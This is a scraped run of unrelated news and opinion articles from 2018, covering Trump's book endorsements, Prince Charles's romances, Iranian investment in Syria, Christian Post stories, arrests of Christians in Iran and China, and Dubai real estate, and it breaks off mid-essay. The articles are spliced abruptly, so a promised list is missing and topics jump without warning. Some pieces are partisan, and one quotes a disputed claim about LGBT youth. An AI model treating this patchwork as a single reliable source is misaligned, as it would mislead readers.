Trump Congratulations to @GreggJarrett on The TREMENDOUS success of his just out book, The Russia Hoax, The Illicit Scheme To Clear Hillary Clinton & Frame Donald Trump. Already number one on Amazon. Hard work from a brilliant guy. Its the Real Story of the Rigged Witch Hunt! Donald J. Trump (@realDonaldTrump) August 2, 2018 Trump tweeted to commend Greg Jarrett for his work, but he isnt the only fan. Earlier this year the book ranked number 17 on Amazons Most Read Nonfiction List and is a number one New York Times best seller. The book examines how the FBI and Barack Obamas Justice Department worked together to get Hillary Clinton elected during the 2016 presidential election. It also discusses the investigations that took place to remove Trump as president. Trump even took to Twitter again in case his followers forgot to let them know it is a great book that everyone is talking about. Liars, Leakers and Liberals, the Case Against the Anti-Trump Conspiracy Our great Judge Jeanine Pirro is out with a new book, Liars, Leakers and Liberals, the Case Against the Anti-Trump Conspiracy, which is fantastic. Go get it! Donald J. Trump (@realDonaldTrump) June 22, 2018 Another number one New York Times best seller, Jeanine Pirros book discusses Fake News, law enforcement corruption, national security leaks, and shady foreign-U.S deals that have all worked together to create an anti-Trump conspiracy. The Briefing: Politics, the Press and the President A friend of mine and a man who has truly seen politics and life as few others ever will, Sean Spicer, has written a great new book, The Briefing: Politics, the Press and the President. It is a story told with both heart and knowledge. Really good, go get it! Donald J. Trump (@realDonaldTrump) June 30, 2018 Sean Spicers memoir, covering his time in the White House as Trumps Press Secretary, has received a lot of recognition since its release earlier this year. The Wall Street Journal, USA Today, Publishers Weekly, and Conservative Book Club all have it labeled it as a best seller. Those credentials paired with positive comments by Sean Hannity, Megyn Kelly, and Trump himself has cemented the book in the must-read list for those interested in recent politics. 9 Rules of Engagement Terrific new book out by the wonderful Harris Faulkner, 9 Rules of Engagement. Harris shares lessons from a military family. Enjoy! Donald J. Trump (@realDonaldTrump) June 5, 2018 Fox News anchor Harris Faulkner also published a memoir this year, gaining Trumps attention. Faulkner shares advice and tools that her military upbringing instilled in her and explains how they shaped her into the successful woman she is today. Its a mixture of memoir and motivational guide that reminds readers of important values and ideals they need to keep in mind in their day to day lives. The Capitalist Comeback: The Trump Boom and the Lefts Plot to Stop It Great book just out by very successful businessman @AndyPuzder. Always known as somebody who knows how to win, Capitalist Comeback will be a big hit! Donald J. Trump (@realDonaldTrump) May 5, 2018 Despite Andy Puzders falling out of his nominee position as Trumps Labor Secretary, he hasnt fallen out of his good graces. Trump tweeted his backing for the businessmans book, saying it was bound to be a hit. The book talks about the benefits of having a president who comes from a business background and how Trumps election will make a difference for the economy, despite the Lefts attempt to stop the change. So far the book has a solid four starts on Amazon across 40 reviews. More of Trumps reading recommendations The above is just a taste of the suggestions that Trump tweeted this year. Others include The Great Revolt: Inside the Populist Coalition Reshaping American Politics by Salena Zito and Brad Todd, The Light Within Me: An Inspirational Memoir by Ainsley Earhardt, The Faith of Donald Trump by David Brody and Scott Lamb and What Really Happened: How Donald J. Trump Saved America From Hillary Clinton by Howie Carr. Taking a look at this years endorsements, its hard not to see a trend! Past presidential book recommendations Both Obama and Bush often released lists during their vacations, a perfect time to catch up on books that caught their attention. While Clinton wasnt known to partake in the vacation reading list releases, he did publish a reading list in honor of National Book Lovers Day. Obamas list includes a mixture of fiction, biographies and historical accounts while Bush was shown to favor novels, presidential biographies, and even young adult titles. Considering the genres, its plain to see there is quite a difference between the current president and former presidents taste. Here are a few former presidential favorites. Though he has been happily married to Duchess Camilla Parker Bowles for years, Prince Charles had a very sordid love-life. The future King of England was rumored to have affairs with various Hollywood A-listers including, Barbra Streisand. Prince Charles and the Duchess of Cornwall had actually dated in the 70s, and the prince desperately wanted to make her his wife then. However, parliament and his family decided that Parker Bowles was an unsuitable choice for a future king. As a result, the prince found himself in a loveless marriage with Princess Diana. Prince Charles and Princess Diana wed in 1981 and had two sons together, Prince William and Prince Harry before divorcing in 1996. However, the prince did consider marrying another woman of royal blood before settling on the late princess as his bride. Prince Charles almost married Princess Astrid of Luxembourg In the 2016 documentary, Prince William: Royalty In My Family it was revealed that Prince Charles very nearly married Princess Astrid of Luxembourg when he was contemplating a bride in the early 80s. Unlike Princess Diana who was just 20 when she and the Prince of Wales wed, Princess Astrid of Luxembourg was in her late 20s and closer to the princes age. At the time, the princess was one of the few eligible women of royal blood that would have been a match for the future king. However, religion and popularity would get in the way. Forbidden by the Catholic Church In Royalty In My Family, the narrator explained, The monarchy reportedly considered Princess Astrid of Luxembourg a suitable match for Charles, even though she was Catholic. Unfortunately, the Catholic Church had other ideas. Prince Charles is not Catholic, so the couples children would not be raised in the Catholic Church. It was rumored that Pope Paul VI forbid the marriage by refusing under Ne Temere to accept that the children of the couple could not be brought up Roman Catholic. Princess Dianas popularity The match between Prince Charles and Princess Astrid of Luxembourg was never to be anyway the princess was never as popular as Princess Diana. In fact, in the documentary, it was said that the press decided Prince Charles and Princess Dianas fate for them. It was, the press who, pursued Diana as the main romantic interest of Charles. Prince Charles and Princess Diana wed July 29, 1981, and Princess Astrid would go on to marry Archduke Carl Christian of Austria in 1982. They are still married today and have five children. Prince Charles and Princess Dianas unhappy marriage Though Princess Diana was seen as the perfect match for Prince Charles because she was, the perfect virgin bride their union was a disaster. They had warring personalities and their marriage imploded in a war of tempers, scandals and extramarital affairs, including the long and lusty affair the prince strick up with his now-wife, Duchess Camilla Parker Bowles. Though they finally separated in 1992 before officially divorcing in 1996, it would be a tragic ending for Princess Diana. The Princess of Wales was tragically killed Aug. 31, 1997, in a car crash in Paris. Check out The Cheat Sheet on Facebook! By Trend Iran's private sector looks to get involved in doing reconstruction projects in Syria, which are estimated to need some $600 billion worth of investment. "The estimates show that the reconstruction of Syria requires some $600 billion, while some 150 billion is needed for reconstruction of houses," Iran's minister of Roads and Urban Development Amir Amini said, Trend reports via ILNA. Amini also noted that Iran's government wouldn't allocate public resources to Syria's reconstruction projects. "Iran's investment in foreign countries should be according to their regulation", he added. On the other hand, Iran's private sector is already getting involved. Amini said that the private sector is investing in different fields there, including supply of construction materials (specially cement) in Syria. "There are good investment opportunities in Syria and the only problem is the weak communication between investors and the Syrian government," he said. "The investments are not allocated from public sources, in these projects, Iran have signed protocols and long term memorandum of understanding that are to be signed by Syrian government, so the Iranian private sector can invest separately in Syria," he explained. Amini mentioned the presence of Russian investors in Syria's reconstruction projects. "Although Russians are present there as well, Syria has close tendency toward Iran due to common thoughts and religion. "Iran's government would introduce the private sector to Syrian government. During recent official trips to Syria representatives of private sector have accompanied the Iranian government representatives," he said. "The Khatam-al Anbiya Construction Headquarters - an Iranian engineering firm controlled by the Iranian Revolutionary Guard Corps - would also be present in Syria as an investor," he added. "Iranian contractors have also entered Iraq and Turkmenistan markets. Several transportation projects have been initiated in these countries through Iranian investments," he added. Chance the Rapper gives God the glory after quitting cigarettes while on sabbatical Christian Post Contributor | 19 December, 2018 by Leah MarieAnn Klett Chance the Rapper has given God the glory after successfully giving up cigarettes while taking a sabbatical to study the Word of God. The Chicago-based rapper made the announcement on Instagram, writing: "Today is my 7th day ZERO CIGARETTES #leaveitatthealter." The 25-year-old artist also shared a screenshot of Ephesians 3:20: "Now all glory to God, who is able, through his mighty power at work within us, to accomplish infinitely more than we might ask or think." Chance has previously opened up about his addiction to cigarettes even naming a song on his album "Chain Smoker" and revealed he was attempting to break the longstanding habit in a May Twitter post. "Man, cigarettes are not a cool thing," he told xxxlmag.com. "I never want to push that on to people. It's just been a big part of my life, reluctantly, because I've been addicted to cigarettes for a long time. I think there's something super poetic about cigarettes. I asked a question one time like, 'Why do you toss the filter?' It's like the only part of the cigarette that's saving you, but we toss it at the end. It's a weird question." Chance's decision to quit smoking comes amid his sabbatical to "study the Word of God." Earlier in December, he announced that he plans to read "five or more books from Bible" to get to know Jesus Christ on a deeper level. "I'm on a plane headed out the country on my first sabbatical," the artist wrote. "I'm going away to learn the Word of God which I am admittedly very unfamiliar with. I've been brought up by my family to know Christ, but I haven't taken it upon myself to really just take a couple of days and read my Bible. We all quote scripture and tell each other what God likes and doesn't like, but how much time do we spend as followers of Jesus to really just read and KNOW His Word. I'm definitely guilty of not devoting time to it." Chance went on to explain that he made the decision to take a sabbatical following the birth of his nephew, Charlie Matthew. "He's the first boy of the next line and he needs his uncle to be educated," he explained. "So don't bother me, I'll be back soon enough, with five or more books from Bible read." The artist later revealed he'd successfully read through three books of the Bible: "Otw to the second half of sabbatical," he captioned a photo of himself holding his photo of his 3-year-old daughter, Kensli. "I read Romans, James and Galatians and I'm currently on day 4 of ZERO CIGARETTES. I feel really good right now, thank u Father. #leaveitatthealter." Read more about Chance the Rapper on The Christian Post. Christian baker Jack Phillips in court again after refusing gender transition cake Christian Post Contributor | 20 December, 2018 by Stoyan Zaimov Christian cake artist Jack Phillips is suing the state of Colorado, with his lawyers arguing on Tuesday that he has no choice but to defend himself over new threats. Phillips, who earlier this year won a Supreme Court battle over his refusal to make gay marriage cakes that go against his religious convictions, filed the lawsuit over the state's latest threats to punish him for refusing to make a gender transition cake. "At this point, he's just a guy who is trying to get back to life. The problem is the state of Colorado won't let him," said Alliance Defending Freedom attorney Jim Campbell, representing Phillips, according to The Associated Press. The Colorado Civil Rights Commission has argued that Phillips discriminated against Denver attorney Autumn Scardina, who wanted the baker to make a cake last year that was blue on the outside and pink on the inside. The dessert was meant to symbolize Scardina's transition from male to female. Phillips' attorneys say that their client "believes as a matter of religious conviction that sex the status of being male or female is given by God, is biologically determined, is not determined by perceptions or feelings, and cannot be chosen or changed." The lawsuit is asking $100,000 in punitive damages from Aubrey Elenis, director of the Colorado Civil Rights Division, for continuing to violate his First Amendment right to practice his faith and 14th Amendment right to equal protection. Attorney General Cynthia Coffman has asked for the lawsuit to be dismissed due to state efforts to enforce its order against Phillips. Deputy Attorney General LeeAnn Morrill told Senior U.S. District Court Judge Wiley Y. Daniel that the commission is looking at anti-discrimination laws it alleges Phillips is violating and insisted the case is not about religion. The judge cited the Supreme Court justices' opinions from the 7-2 ruling in favor of Phillips in June during Tuesday's hearing and mentioned now-retired Justice Anthony Kennedy's conclusion that the commission had shown "hostility" toward religion. "I'm inclined to deny the motion to dismiss," Daniel said. Another hearing in the case is scheduled for February. As ADF explains on its website, Phillips has refused to make numerous cakes that go against his beliefs, including ones about drug-use and ones with sexually explicit material and satanic imagery. Noting that the "same state agencies decided to go after him a second time" after losing at the Supreme Court, ADF argued, "If that isn't government hostility towards people of faith, what is?" Read more about Christian cake artist Jack Phillips on The Christian Post. Christian, Jewish leaders decry 'heart-sinking' religious persecution in letter to Chinese President Xi Christian Post Contributor | 19 December, 2018 by Stoyan Zaimov Johnnie Moore and Rabbi Abraham Cooper have written an open letter to Chinese President Xi Jinping, decrying what they called the "heart-sinking" persecution of religious believers. Moore, who is president of the Congress of Christian Leaders and a commissioner on the United States Commission for International Religious Freedom, called out the various crackdowns on Christians and Muslims in China in a letter published in Newsweek on Monday. The letter, jointly written with Cooper, the associate dean and director of the Global Social Action Agenda at the Simon Wiesenthal Center, pointed out that China has been growing as an economic and political superpower in the 21st century. "Yet, today, we fear we witness a heart-sinking regression as the Chinese government seems to be reaching for an altogether different set of values, values anchored in a darker time when religion, and religious leaders, were viewed as a threat instead of as valued citizens," Moore and Cooper wrote. "We urge you, as the undisputed leader of your nation, to put a halt to the recent closure of places of worship, the detention of clergy and believing citizens, and to policies that have forced the 'reeducation' of countless others, especially affecting your Muslim and Christian citizens," they asked. "What should the world choose to think about a government that will arbitrarily place hundreds-of-thousands of its own citizens into internment camps to 're-educate' them, on the basis of their religion alone?" Pastors and Christian believers have been crying out at the church demolitions, arrests of entire congregations, and raids of both official and underground churches, which intensified following the implementation of the revised religious regulations in February. Reports from earlier this year separately found that close to one million Uighur Muslims are being held in Chinese concentration camps, supposedly for "re-education" purposes. "The true test of a great civilization is not only its prosperity, its technology or its strength but its acceptance and tolerance of its people. No country, large or small, can claim to be great let alone to be a leader in the world while arbitrarily suppressing the small but steadfast prayers of a believer," the reverend and the rabbi urged. "Furthermore, rather than giving the world the impression that Chinese society is threatened by the free exercise of religion, China should, in fact, become a world leader that sees the value of pluralism and diversity in its society." Moore told The Christian Post in a phone interview in September that the communist government's actions are "incomprehensible." "My personal experience with Chinese Christians is that they are incredibly patriotic about their country" and that they support their government, he told CP. He positioned that the house churches are "filled with patriotic citizens." "Why now? Why all of a sudden?" he asked about the crackdowns. "It's a sign of weakness, it demonstrates paranoia," Moore added. Read more about Christians in China on The Christian Post. Evangelicals hail Senate passing bipartisan prison reform bill, despite some Christian opposition Christian Post Contributor | 19 December, 2018 by Stoyan Zaimov The U.S. Senate voted 87-12 to pass the First Step Act, a major prison reform bill, which has received evangelical support but also some Christian opposition. Russell D. Moore, president of the Ethics & Religious Liberty Commission of the Southern Baptist Convention, tweeted his thanks to the Senate for the vote on Tuesday. "The #FirstStepAct has been a long time in the making, and it is a good and needed development," Moore wrote. The ERLC added in a tweet of its own that "this criminal justice reform bill has been a key part of our legislative agenda and we are thankful for the broad coalition that led to this victory!" Prison Fellowship, America's largest outreach to prisoners, and one of the biggest Christian ministries to push for the bill, applauded the Senate for passing the First Step Act. "This legislation will help reduce recidivism by preparing men and women to fulfill their God-given potential through restorative programming, including improved substance-abuse treatment programs, life-skills classes, and vocational training building job readiness to fuel local economies. This is about getting smart on crime by giving men and women, made in the image of God, the tools to change their lives," saidJames Ackerman, president and chief executive officer of Prison Fellowship. Craig DeRoche, senior vice president of advocacy and public policy, added: "Today, the Senate refused to double down on the failed policies of the past. The FIRST STEP Act's passage reflects America's growing demand for smarter and more restorative solutions to crime." The bill includes efforts to reduce the federal recidivism rate, and offers time credit incentives for federal inmates to participate in rehabilitative and vocational training programs. Among the other notable provisions, it reduces the second strike mandatory minimum of 20 years to 15 years, while the 3rd strike goes down from a mandatory minimum of life in prison to 25 years. "This bill in its entirety has been endorsed by the political spectrum of America," said Sen. Richard J. Durbin, D-Ill, one of the legislation's main backers. "I can't remember any bill that has this kind of support, left and right, liberal and conservative, Democrat and Republican," he added, according to ABC News. The New York Times pointed out that one of the major effects will be that thousands of inmates will become eligible for immediate sentencing reductions, while thousands of new offenders will receive reduced sentences. "We're not just talking about money. We're talking about human potential," Senator John Cornyn, R-Tex., said on Tuesday. "We're investing in the men and women who want to turn their lives around once they're released from prison, and we're investing in so doing in stronger and more viable communities." Despite the strong bipartisan backing and evangelical support, more liberal Christian bodies, such as the National Council of Churches of Christ in the USA, which includes various mainline Protestant denominations, had argued that the changes do not go far enough. "The United States is home to 5 percent of the world's population and 25 percent of the world's prison population. The current mass incarceration crisis was birthed out of racist intentions, and we must be just as intentional about addressing the embedded racism if we are to have any meaningful reform. This bill does not move us any closer to justice on either issue," the NCC had argued earlier in December. One proposal in the bill that the NCC strongly opposed was the use of electronic monitoring as a form of surveillance for released prisoners. President Donald Trump meanwhile took to Twitter to explain his support for the First Step Act, which he backed in November. "America is the greatest Country in the world and my job is to fight for ALL citizens, even those who have made mistakes. Congratulations to the Senate on the bi-partisan passing of a historic Criminal Justice Reform Bill," Trump tweeted on Tuesday. Read more about the prison reform bill on The Christian Post. Gay, transgender youth at 'significantly higher risk' of suicide than heterosexual peers: study Christian Post Contributor | 19 December, 2018 by Leah MarieAnn Klett LGBT youth are at a higher risk of suicide and life-threatening behavior than their heterosexual peers, a new study has found, with transgender teens being the most at risk. A systematic review and meta-analysis of 2.5 million adolescents published in JAMA Pediatrics concluded that "sexual minority youths" those identifying as "homosexual," "bisexual," "transgender" "have a significantly higher risk of life-threatening behavior compared with their heterosexual peers." To examine the risk of attempted suicide among sexual minority adolescents, differentiating for each sexual minority group, researchers searched electronic databases for articles published through April 30, 2017, with the following search terms: heterosexual, homosexual, bisexual, transgender, adolescents, teens, and attempted suicide. In total, thirty-five studies reported in 22 articles that involved 2,378,987 heterosexual and 113,468 sexual minority adolescents (age range, 12-20 years) were included in the analysis. Researchers found that overall, transgender youths were the most at risk of committing suicide, followed by bisexual and homosexual teens. As suicide is the second-leading cause of death among adolescents, according to the Center for Disease Control, researchers emphasized that "public awareness is important, and a careful evaluation of supportive strategies (eg, support programs, counseling, and destigmatizing efforts) should be part of education and public health planning." Dr. Michelle Cretella, executive director of the American College of Pediatricians, told The Christian Post that the study "confirms what no one disputes: Namely, that youth who identify as LGBQT have higher rates of mental illness leading to a greater risk of life-threatening behaviors." But contrary what to these authors conclude, Cretella said, there is "no evidence that 'destigmatizing efforts' will solve the problem, because there is no evidence that the higher rates are due primarily to stigmatization." She pointed out that Sweden is among the most LGBT affirming nations in the world, yet, LGBT mental illness and suicide rates in Sweden are just as dramatically elevated relative to the general population. "This fact strongly suggests that it is at least as likely, if not more so, that the higher rates are primarily due to LGBQT behavior, or to common underlying psychosocial factors that trigger both LGBQT attractions and accompanying mental disorders," she continued. The findings are not surprising, given previous reports showing that young people who identify as sexual minorities are more likely than their heterosexual peers to develop depression and anxiety, self-harm, and attempt suicide. A recent study published in The Lancet Child & Adolescent Health journal found that LGBT youth are four times more likely to experience symptoms of depression and report more self-harm than heterosexual youths throughout their school years and into early adulthood. Gemma Lewis from University College London in the UK, who led the research, said it is "concerning" that despite changes in public perceptions and attitudes, "sexual-minority youth remain at increased risk of long-term mental health problems." "Our findings underscore the importance of mental health problems before conscious self-identification and labeling of sexual-minority orientation," said Lewis. "It is imperative that we find new ways to reach these adolescents and that they are able to access high-quality support services from a young age," she said. Additionally, a September study conducted by Russell B. Toomey, Ph.D., of the University of Arizona-Tucson, found that more than half of all teenagers who identify as female to male transgender have attempted suicide. Read more about suicide on The Christian Post. Is it OK for Christian radio stations to play secular holiday music for Christmas? 20 December, 2018 by Michael Gryboski , | During Christmas, many Christian radio stations decide to include secular holiday music in their programming, while others decide to have exclusively sacred songs on their airwaves. Thomas Evans, president and general manager at Family Stations, Inc., told The Christian Post that his radio station prides itself on having always included "traditional biblical music." "Our Christmas programming is no exception. So beginning the day after Thanksgiving until December 31st, Family Radio airs some of the best, most traditional Christmas carols, hymns and cantatas," said Evans. "The evening of Christmas Day, Family Radio airs the complete Handel's Messiah over all of our stations and web streams." Evans went on to tell CP that to his knowledge Family Radio has never aired secular holiday favorites, noting that they have an extensive library of sacred music to use for their Christmas programming. "Given our extensive Christmas music library, our challenge is to cull through the many possible selections, rather than attempt to supplement our on-air content with secular or well-known Christmas carols or songs," he said. "With so many wonderful uplifting songs within Christendom, why would we need to air songs that feature Rudolf or Santa, when we can rejoice at the incredible news that our Savior was born in Bethlehem?" In recent times, some Christian radio stations have included nonreligious Christmas season music, such as "Rudolph the Red-Nosed Reindeer," "Jingle Bells," and "I'll be home for Christmas." Much online conversation and debate have transpired over the inclusion of secular music on Christian stations, with some stations getting complaints over their decision. Read more from "Is it OK for Christian radio stations to play secular holiday music for Christmas?" on The Christian Post. (Morning Star News) Arrests of Christians in Iran usually spike as Christmas approaches, but this year has been especially severe, sources said. More than 150 Christians have been detained across the officially Shia Muslim country in the last month, and arrests are expected to continue. The current situation has been described by some as unprecedented, Miles Windsor, advocacy and development manager at Middle East Concern (MEC), told Morning Star News. There are a huge number of arrests and detentions. An uptick in arrests is expected around Christmas, Windsor said, when many Iranians are attracted to Christianity and the government seeks to deter interest through intimidation. Recently it seems there is definitely a coordinated and determined campaign to decimate the Christian community and to spread fear and intimidation, Windsor said. This year has been especially severe, however, according to MEC. Some analysts speculate that security branches, fearful of funding cuts, are trying to show their effectiveness and justify payments from the government by showing how many Christians they can arrest. Among them, Amir Taleipour, 39, and his wife Mahnaz Harati, 36, were arrested in front of their 7-year-old daughter by intelligence agents who raided their home in Mashhad, northeast Iran on Dec. 6. The couple has not been allowed to communicate with family members or access legal assistance since then, according to MEC. Family members are caring for their daughter while the couple is in detention, according to MEC. Irans constitution makes Shia Islam the official religion but recognizes Zoroastrianism, Judaism and Christianity as official religious minorities. It states that all laws and regulations must be based on Islamic criteria and official interpretation of sharia (Islamic law). The penal code specifies the death sentence for proselytizing and attempts by non-Muslims to convert Muslims, as well as for moharebeh (enmity against God) and sabb al-nabi (insulting the prophet [Muhammad]), according to the U.S. State Departments latest International Religious Freedom Report (2017). Sisters Beaten On Dec. 2 two sisters from Ahvaz, in the southwest part of the country, were arrested and assaulted in detention, according to MEC. Shima Zanganeh, 27, and Shokoofeh Zanganeh, 30, were arrested, along with Farzad Behzadi, 30, and Abdollah Yousefi, 34, who are not related to the sisters. Thirteen plain-clothes revolutionary guards raided each of their homes, confiscated their books, phones and computers, according to MEC, and took the four Christians into custody for interrogation. Security personnel beat the sisters during interrogation at security offices in Ahvaz. Prison authorities called to report the beatings to the family, and the sisters confirmed the physical assault in a phone call, according to Mohabat news. The sisters were beaten badly in their interrogation, Windsor said. Eventually they were able to make a short phone call home to let family know where they were taken. The sisters were transferred to Sepidar Prison in Ahvaz on Dec. 12, and a judge has set a high bail of about US$44,000 for each. Each day that their family tried to pay the bail, court officials would tell them that the judge was not in, according to Mohabat News. There are suspicions the Iranian authorities are delaying their release to give time for the marks of their beating on the two sisters to heal before they are released conditionally, Mohabat reported. The whereabouts of Behzadi and Yousefi are unknown. Interrogations are usually used to gather information on the arrestees networks and particularly to target leaders, Windsor said. 100 Christians Arrested At the end of November, about 100 Christians were arrested near Tehran. Authorities arrested Jamshid Derakhshan, 64, along with at least 70 other Christians near Karaj in Hashgterd, which is near Tehran, on Nov. 30. Derakhshan was on his way to a house-church ceremony, according to Mohabat News, but never returned, and his familys attempts at finding out his whereabouts were unfruitful. Two weeks later, Derakhshan was able to make a phone call and told his family he would soon be released on bail, Mohabat reported. Derakhshan converted to Christianity 30 years ago and had already been expelled from his workplace at a government organization due to his faith, according to Mohabat, which added that his family is worried about his health as he suffers from a stomach illness. In connection with the 70 arrests at the end of November, 30 other Christians were arrested around the same time in Damavand and other parts of Tehran Province. Arrests are continuing, Windsor said, which increases fear and limits the flow of information. I dont think much is known internally at the moment, Windsor said. Theres not a free flow of information. While it is legal to practice Christianity in Iran, Christian converts from Islam and those who share their faith are prosecuted by the government. After interrogation, arrestees are usually charged without basis of espionage and undermining national security, Windsor said, followed by unjust convictions and heavy sentences of up to 10 or 15 years in prison. There is no doubt that its the Christian faith of these individuals that is the reason behind their arrests and detentions, he said. Christianity is growing in Iran, despite the ongoing crackdown. As many as 800,000 Iranians are worshipping Christ within Irans borders, according to Open Doors, and other organizations believe the figure could be as high as 1 million in the country of 80.3 million. Aside from shedding light on what is happening to Christian converts in Iran among the international community, many are praying, Windsor said. There are a great many who are going to be praying into this situation at the moment and praying that the Christian community will be able to stand strong, he said, and that God would be comforting those who are suffering in detention and healing those who have had physical or emotional trauma at the hands of the Iranian authorities, and praying that this would relent and that Christians would be able to worship freely in Iran. The U.S. State Department this month again designated Iran as a Country of Particular Concern for severe religious freedom violations. In Christian support organization Open Doors list of countries where it is most difficult to be a Christian, Iran had a score of 85 out of 100 in the 2018 World Watch List, leaving it ranked 10th out of 50. If you would like to help persecuted Christians, visit http://morningstarnews.org/resources/aid-agencies/ for a list of organizations that can orient you on how to get involved. If you or your organization would like to help enable Morning Star News to continue raising awareness of persecuted Christians worldwide with original-content reporting, please consider collaborating at https://morningstarnews.org/donate/? Article Originally Published by Morning Star News. Used with permission. Photo courtesy: Pixabay The Dubai Land Department (DLD) recently organised the "Dubai Real Estate Sector Profile" forum to announce the performance report of the real estate sector over the past years, and the role of data in enhancing the transparency of the sector. The forum included the launch of the "Deraya" report and the annual performance report of the real estate sector 2018. The "Deraya" report was initiated by the Department of Real Estates Studies and Research of the Real Estate Promotion and Investment Management Sector at the DLD, in collaboration with Jones Lang LaSalle Incorporated (JLL) and Cavendish Maxwell, and the annual report of the real estate sector performance 2018. These reports contribute to enhancing Dubai's real estate market, positioning it as the world's leading real estate market. According to the JLL Global Real Estate Transparency Index 2018, Dubai was among the top three global cities regarding real estate market transparency. DLD director-general Sultan Butti bin Mejren said these reports provided a key database for media, investors and international classification agencies to access insights on the performance of Dubais real estate market with complete transparency. "We seek to achieve some key objectives through these reports and highlight the role of the real estate sector and its close ties with other economic sectors. The reports underline the importance of the real estate sector as a productive element that supports all other economic sectors, reflecting positively on the real estate sectors growing contributions to Dubais GDP," stated Bin Mejren. "The current real estate sector enjoys several positive indicators that predict growth across many of its segments, supported by the annual report of the real estate sector and the 2018 Deraya report, which represents integrated strategic cooperation between the public and private sectors," he added. The reports are also a testament to Dubais status as one of the worlds top attractive investment destinations that ensures investors future high yields, said the top official. "The reports offer a deeper insight into the performance of Dubais real estate sector in 2017, furthering the transparency level across the sector. They are aimed at increasing professionalism across Dubais real estate environment, consolidating the real estate information sources, and elevating DLD to become the leading real estate reference," remarked Bin Mejren. "The reports also work towards bolstering the attractiveness of Dubais real estate market, identifying market trends and needs, and providing real estate studies companies and real estate experts access to relevant data," he noted. Majida Ali Rashid, CEO of the Real Estate Promotion and Investment Management Sector at the DLD, said: "We are proud to have cooperated with two of the world's leading companies, in line with our commitment to engage our partners and customers." "The launch of Deraya, our joint research initiative, is part of our collaborations with real estate consultancy companies and experts in the field of real estate studies," she added.-TradeArabia News Service Chinese authorities are setting quotas on the number of Christians that must be arrested and are threatening police officers with dismissal if they dont meet the minimum standards, according to a magazine that monitors religious freedom in the country. The magazine, Bitter Winter, reported that the National Security Bureau in Liaonings Dalian city sets the standards, which are based on a 100-point evaluation system. Bitter Winter interviewed a police officer from the city. If the assigned quarterly arrest quotas are not met, the station chief faces losing his job, Bitter Winter reported. To fulfill the quotas, police stations distributed a list of previously arrested believers to local communities and building managers to keep an eye on such persons and report to the police if they notice suspicious activities. All faiths are targeted. That includes Falun Gong, a meditation-based religion. The arrest of a local Christian church leader is worth 10 points on the 100-point scale, according to Bitter Winter. Police stations often buy lists of previously arrested Christians from other police stations. Police officers have been ordered to arrest any believer who has in possession three or more religious books and transfer such persons to the National Security Brigade for interrogation, Bitter Winter reported. The police officer told Bitter Winter he doesnt want to arrest innocent Christians but fears the consequences if he doesnt. The news comes as China intensifies its new crackdown on Christianity. More than 100 Christians, including one of Chinas most well-known pastors, were arrested Dec. 10 for not registering and for not obeying a new Chinese law that restricts proselytizing and posting Christian content online. Early Rain Covenant Church is an unregistered congregation in Sichuan province, according to Open Doors, which reported the arrests. Although many illegal house churches operate underground, Early Rain has worshiped openly. The pastor, Wang Yi, had defied authorities by posting sermons online and evangelizing on the streets. Wang is known worldwide as a supporter of religious freedom. He met at the White House with President George W. Bush more than a decade ago. The church released a letter from the pastor, who said he would use non-violent methods to oppose unbiblical laws, according to Open Doors. My Savior Christ also requires me to joyfully bear all costs for disobeying wicked laws, Wang wrote. Michael Foust is a freelance writer. Visit his blog, MichaelFoust.com. Photo courtesy: Pixabay Iranian refugees in Turkey are converting from Islam to Christianity in such numbers that churches can't keep up with the demand, experts in the region say. Sebnem Koser Akcapar, a sociology professor at Istanbul's Koc University, told National Public Radio, that the numbers of Iranian converts to Christianity has grown tremendously over the years. A small church consisting of 20 to 30 families has become a much bigger congregation housing 80 to 100 people on a regular Sunday, she told NPR. One of those converts is 37-year-old Farzana, who didnt give her last name for fear of her safety. Converts from Islam to Christianity in Iran can face the death penalty. It feels good. Our relationship to God becomes closer, Farzana told NPR of her new faith. She walked away from Islam because of the way Iran treats women. She had divorced her abusive husband, but a court gave him custody of the children. Mostly because of this I became disillusioned with Islam, she said. That judge sitting there and giving orders was completely siding with men. Everywhere in Iran men come before women. A friend who was a convert introduced Farzana to Christianity. Once she began trusting me, she gave me photocopied writings and said, Im giving these to you as a gift. Go read them. These are the word of God, Farzana said. Meanwhile, a member of a congregation in Denizli, Turkey, told NPR that Irans extremism is pushing citizens away from Islam. "The system of authority in Iran has put Iranians under a lot of pressure, and they don't see any hope, the unidentified church member and refugee said. They are in search of God, but they want to find another path because they're discontent with the options they've been given. Many of the converts, though, may not be legitimate. Thats because Iranians who convert to Christianity can then seek asylum in the West under religious persecution laws. Rick Robinson of the United Pentecostal Church in Denizli acknowledges this happens. But he hopes these fake converts eventually come to faith. Robinson said churches are struggling to keep up with the number of converts. There might be some who start with the help just for the refugee status and become sincere, he said. Michael Foust is a freelance writer. Visit his blog, MichaelFoust.com. Photo courtesy: Mohammad GH/Unsplash Doctrine on Fire: An Introduction to Protestantism: One of the most famous works on the origins of Protestantism began with this literary portraiture: The man who thus called upon a saint was later to repudiate the cult of the saints. He who vowed to become a monk was later to renounce monasticism. A loyal son of the Catholic Church, he was later to shatter the structure of medieval Catholicism. A devoted servant of the pope, he was later to identify the popes with Antichrist. For this young man was Martin Luther.1 The late Dr. Roland Baintons magnus opus on the Reformation, Here I Stand: A Life of Martin Luther rightly centers the Protestant faith on the extraordinary person of Martin Luther. It is hard to overestimate the importance of Martin Luther (1483-1546) to the Reformation and, thus, to Protestantism. There were other important figures of course. There was Thomas Cranmer (1489-1556), the Archbishop of Canterbury who compiled the Book of Common Prayer, a notable achievement in history which incorporated plenty of Scripture into the week-to-week services of the English Reformed Church There was, of course, John Calvin (1509-1564) of Geneva and John Knox (1513-1572) of Scotland. There were lesser-known but quite notable figures of Protestantism such as Ulrich Zwingli (1484-1531) the priest-turned-pastor of Grossmunster in Zurich. One of the most influential pastors and theologians to shape much of Protestantism also suffers from name recognition: Martin Bucer (1491-1551) of Strasbourg. Remarkable historical events movements are frequently associated with the remarkable leaders who prompted them. Protestantism is no different. Whether it is the preeminent names of Martin Luther, John Calvin, John Knox, and Thomas Cranmer, or whether other names such as George Whitfield, John Wesley, Charles Wesley, Richard Baxter, Thomas Watson, Dr. Martin Lloyd Jones, the Rev. Billy Graham, Charles Haddon Spurgeon, Dr. D. James Kennedy, or a host of others, there is no denying that certain figures stand out in the history of Protestantism and its continuing development. Yet, beyond the leaders, behind the biographies, there was always the idea. Theology on Fire was the title of a J.I. Packer article on the Puritans. Such a title is appropriate to introduce the question, What is Protestantism and Why is it Important? The answer, in a phrase, is embedded within Dr. Packers thoughtful phrase. Protestantism is an idea, maybe even, an idea on fire. This idea on fire, leads 